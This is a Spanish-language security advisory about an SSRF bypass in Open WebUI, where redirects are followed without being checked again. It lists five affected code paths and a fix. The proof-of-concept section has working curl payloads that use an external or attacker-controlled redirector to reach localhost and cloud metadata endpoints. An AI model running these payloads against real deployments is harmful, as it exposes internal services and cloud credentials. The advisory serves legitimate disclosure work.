Bypass de Server-Side Request Forgery (SSRF) via Redirecciones HTTP
Open WebUI presenta una vulnerabilidad crítica de bypass SSRF que permite a usuarios autenticados acceder a recursos internos mediante redirecciones HTTP no validadas. La función validate_url() en backend/open_webui/retrieval/web/utils.py únicamente valida la URL inicial enviada por el usuario, pero los clientes HTTP utilizados posteriormente siguen redirecciones HTTP 3xx por defecto sin revalidar el destino de la redirección contra la lista de IPs privadas o de metadatos bloqueadas.
Rutas de Código Afectadas
La vulnerabilidad existe en múltiples puntos de llamada que siguen redirecciones sin revalidación:
Ruta 1: _scrape síncrono via SafeWebBaseLoader
SafeWebBaseLoader hereda de langchain_community.document_loaders.WebBaseLoader. El método _scrape() del padre llama a self.session.get(url, **self.requests_kwargs). requests_kwargs solo establece timeout; no se pasa allow_redirects=False, por lo que requests.Session.get() sigue redirecciones con el valor por defecto allow_redirects=True.
Ruta 2: _fetch asíncrono (aiohttp)
_fetch() heredaba previamente el valor por defecto de aiohttp allow_redirects=True. Esta ruta está corregida en HEAD (allow_redirects=False).
Ruta 3: get_content_from_url (requests.get síncrono)
response = requests.get(url, stream=True, timeout=30) sin allow_redirects=False. Accesible via /api/v1/retrieval/process/web y otros routers que resuelven URLs externas.
Ruta 4: load_url_image (edición de imágenes)
Helper de obtención de URLs de imagen usado por el endpoint de edición de imágenes. Mismo patrón: validate_url() verifica solo la URL inicial, el cliente HTTP subyacente sigue redirecciones sin revalidación. Accesible via /api/v1/images/edit.
Ruta 5: get_image_base64_from_url (inlining de imágenes en chat-completion)
get_image_base64_from_url() se invoca desde convert_url_images_to_base64() en cada petición /api/chat/completions cuyo contenido de mensaje incluye una parte image_url. El pool de sesiones aiohttp compartido no sobrescribe el valor por defecto allow_redirects=True, y el sitio de llamada no pasa allow_redirects=False. Esta es la variante más accesible: no requiere endpoint especial, permisos de admin ni feature flags.
Prueba de Concepto
Usuario autenticado con bajos privilegios; configuración por defecto, sin permisos especiales:
curl -X POST https://<target>/api/v1/retrieval/process/web \
-H "Authorization: Bearer <any_user_token>" \
-H "Content-Type: application/json" \
-d '{"url": "https://httpbin.org/redirect-to?url=http%3A%2F%2Flocalhost%3A8080%2Fapi%2Fconfig&status_code=302"}'
El cuerpo de respuesta contiene el payload interno /api/config en file.data.content. Reemplazar el destino de redirección con http://169.254.169.254/latest/meta-data/ para metadatos de nube, o cualquier hostname interno alcanzable desde el servidor.
Para la ruta de chat-completion (Ruta 5), la misma redirección se sigue cuando una parte de contenido image_url apunta a un redirector controlado por el atacante:
curl -X POST https://<target>/api/chat/completions \
-H "Authorization: Bearer <any_user_token>" \
-H "Content-Type: application/json" \
-d '{"model":"any","messages":[{"role":"user","content":[{"type":"text","text":"x"},{"type":"image_url","image_url":{"url":"http://attacker/redirect-to-imdsv1"}}]}]}'
Impacto
Cualquier usuario autenticado puede leer respuestas GET de cualquier servicio HTTP alcanzable por el proceso del servidor Open WebUI: servicios de metadatos de nube (IMDSv1 si está disponible), APIs de aplicaciones vinculadas a localhost, bases de datos internas, servicios de monitoreo/Kubernetes, y redes on-premise conectadas por VPN.
Solución Recomendada
Para cada sitio de llamada que sigue redirecciones, establecer allow_redirects=False en el cliente HTTP subyacente y agregar un bucle de validación por salto usando validate_url() en cada header Location:.
